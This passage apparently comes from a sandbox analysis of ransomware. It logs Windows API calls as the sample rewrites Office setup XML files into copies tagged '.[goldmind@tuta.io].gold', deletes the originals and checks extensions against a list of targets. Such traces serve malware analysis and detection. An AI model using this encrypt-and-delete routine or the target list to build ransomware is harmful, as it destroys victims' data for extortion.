lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.289] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.289] SetEndOfFile (hFile=0x1fc) returned 1 [0038.290] CloseHandle (hObject=0x1fc) returned 1 [0038.290] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.290] SetEndOfFile (hFile=0x1b0) returned 1 [0038.291] CloseHandle (hObject=0x1b0) returned 1 [0038.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.291] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0038.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0038.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0038.291] lstrlenW (lpString=".doc") returned 4 [0038.291] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.291] lstrlenW (lpString=".docx") returned 5 [0038.291] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.291] lstrlenW (lpString=".pdf") returned 4 [0038.291] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.292] lstrlenW (lpString=".xls") returned 4 [0038.292] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.292] lstrlenW (lpString=".xlsx") returned 5 [0038.292] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.292] lstrlenW (lpString=".ppt") returned 4 [0038.292] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0038.292] lstrlenW (lpString=".zip") returned 4 [0038.292] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.292] lstrlenW (lpString=".rar") returned 4 [0038.292] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.292] lstrlenW (lpString=".bz2") returned 4 [0038.292] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.292] lstrlenW (lpString=".7z") returned 3 [0038.292] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0038.292] lstrlenW (lpString=".dbf") returned 4 [0038.292] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0038.292] lstrlenW (lpString=".1cd") returned 4 [0038.292] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0038.292] lstrlenW (lpString=".jpg") returned 4 [0038.292] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0038.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0038.292] lstrlenW (lpString=".doc") returned 4 [0038.292] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.292] lstrlenW (lpString=".docx") returned 5 [0038.292] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.292] lstrlenW (lpString=".pdf") returned 4 [0038.292] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.292] lstrlenW (lpString=".xls") returned 4 [0038.292] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.292] lstrlenW (lpString=".xlsx") returned 5 [0038.292] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.292] lstrlenW (lpString=".ppt") returned 4 [0038.292] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0038.292] lstrlenW (lpString=".zip") returned 4 [0038.292] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.292] lstrlenW (lpString=".rar") returned 4 [0038.292] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.292] lstrlenW (lpString=".bz2") returned 4 [0038.292] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.292] lstrlenW (lpString=".7z") returned 3 [0038.292] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0038.292] lstrlenW (lpString=".dbf") returned 4 [0038.292] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0038.292] lstrlenW (lpString=".1cd") returned 4 [0038.293] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0038.293] lstrlenW (lpString=".jpg") returned 4 [0038.293] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.293] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.293] lstrlenW (lpString="Proof.XML") returned 9 [0038.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.293] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1347) returned 1 [0038.293] CloseHandle (hObject=0x1b0) returned 1 [0038.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0038.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.293] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.293] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0038.294] GetLastError () returned 0x0 [0038.294] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x543, lpOverlapped=0x0) returned 1 [0038.630] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x550, lpOverlapped=0x0) returned 1 [0038.630] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.631] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.645] SetEndOfFile (hFile=0x1fc) returned 1 [0038.645] CloseHandle (hObject=0x1fc) returned 1 [0038.658] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.658] SetEndOfFile (hFile=0x1b0) returned 1 [0038.658] CloseHandle (hObject=0x1b0) returned 1 [0038.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.659] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0038.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0038.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0038.659] lstrlenW (lpString=".doc") returned 4 [0038.659] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.659] lstrlenW (lpString=".docx") returned 5 [0038.659] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0038.659] lstrlenW (lpString=".pdf") returned 4 [0038.659] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.659] lstrlenW (lpString=".xls") returned 4 [0038.659] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.659] lstrlenW (lpString=".xlsx") returned 5 [0038.659] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0038.659] lstrlenW (lpString=".ppt") returned 4 [0038.659] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0038.659] lstrlenW (lpString=".zip") returned 4 [0038.659] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.659] lstrlenW (lpString=".rar") returned 4 [0038.659] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.659] lstrlenW (lpString=".bz2") returned 4 [0038.659] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.659] lstrlenW (lpString=".7z") returned 3 [0038.659] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0038.659] lstrlenW (lpString=".dbf") returned 4 [0038.659] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0038.659] lstrlenW (lpString=".1cd") returned 4 [0038.659] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0038.659] lstrlenW (lpString=".jpg") returned 4 [0038.659] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0038.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0038.659] lstrlenW (lpString=".doc") returned 4 [0038.660] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.660] lstrlenW (lpString=".docx") returned 5 [0038.660] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0038.660] lstrlenW (lpString=".pdf") returned 4 [0038.660] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.660] lstrlenW (lpString=".xls") returned 4 [0038.660] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.660] lstrlenW (lpString=".xlsx") returned 5 [0038.660] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0038.660] lstrlenW (lpString=".ppt") returned 4 [0038.660] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0038.660] lstrlenW (lpString=".zip") returned 4 [0038.660] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.660] lstrlenW (lpString=".rar") returned 4 [0038.660] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.660] lstrlenW (lpString=".bz2") returned 4 [0038.660] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.660] lstrlenW (lpString=".7z") returned 3 [0038.660] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0038.660] lstrlenW (lpString=".dbf") returned 4 [0038.660] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0038.660] lstrlenW (lpString=".1cd") returned 4 [0038.660] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0038.660] lstrlenW (lpString=".jpg") returned 4 [0038.660] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.660] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.660] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0038.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0038.855] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=16852) returned 1 [0038.855] CloseHandle (hObject=0x178) returned 1 [0038.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0038.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0038.855] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.855] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0038.855] GetLastError () returned 0x0 [0038.855] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0038.894] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0038.894] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.894] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0038.895] SetEndOfFile (hFile=0x1fc) returned 1 [0038.895] CloseHandle (hObject=0x1fc) returned 1 [0038.896] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.896] SetEndOfFile (hFile=0x178) returned 1 [0038.896] CloseHandle (hObject=0x178) returned 1 [0038.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.897] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0038.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0038.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0038.897] lstrlenW (lpString=".doc") returned 4 [0038.897] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.897] lstrlenW (lpString=".docx") returned 5 [0038.897] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0038.897] lstrlenW (lpString=".pdf") returned 4 [0038.897] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.897] lstrlenW (lpString=".xls") returned 4 [0038.897] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.897] lstrlenW (lpString=".xlsx") returned 5 [0038.897] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0038.897] lstrlenW (lpString=".ppt") returned 4 [0038.897] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0038.897] lstrlenW (lpString=".zip") returned 4 [0038.897] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.897] lstrlenW (lpString=".rar") returned 4 [0038.898] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.898] lstrlenW (lpString=".bz2") returned 4 [0038.898] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.898] lstrlenW (lpString=".7z") returned 3 [0038.898] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0038.898] lstrlenW (lpString=".dbf") returned 4 [0038.898] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0038.898] lstrlenW (lpString=".1cd") returned 4 [0038.898] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0038.898] lstrlenW (lpString=".jpg") returned 4 [0038.898] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0038.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0038.898] lstrlenW (lpString=".doc") returned 4 [0038.898] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.898] lstrlenW (lpString=".docx") returned 5 [0038.898] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0038.898] lstrlenW (lpString=".pdf") returned 4 [0038.898] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.898] lstrlenW (lpString=".xls") returned 4 [0038.898] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.898] lstrlenW (lpString=".xlsx") returned 5 [0038.898] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0038.898] lstrlenW (lpString=".ppt") returned 4 [0038.898] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0038.898] lstrlenW (lpString=".zip") returned 4 [0038.898] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.898] lstrlenW (lpString=".rar") returned 4 [0038.898] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.898] lstrlenW (lpString=".bz2") returned 4 [0038.898] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.898] lstrlenW (lpString=".7z") returned 3 [0038.898] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0038.898] lstrlenW (lpString=".dbf") returned 4 [0038.898] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0038.898] lstrlenW (lpString=".1cd") returned 4 [0038.898] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0038.898] lstrlenW (lpString=".jpg") returned 4 [0038.898] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.898] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.898] lstrlenW (lpString="VisioMUI.XML") returned 12 [0038.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.908] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=9503) returned 1 [0038.908] CloseHandle (hObject=0x1f8) returned 1 [0038.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0038.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0038.915] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.915] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 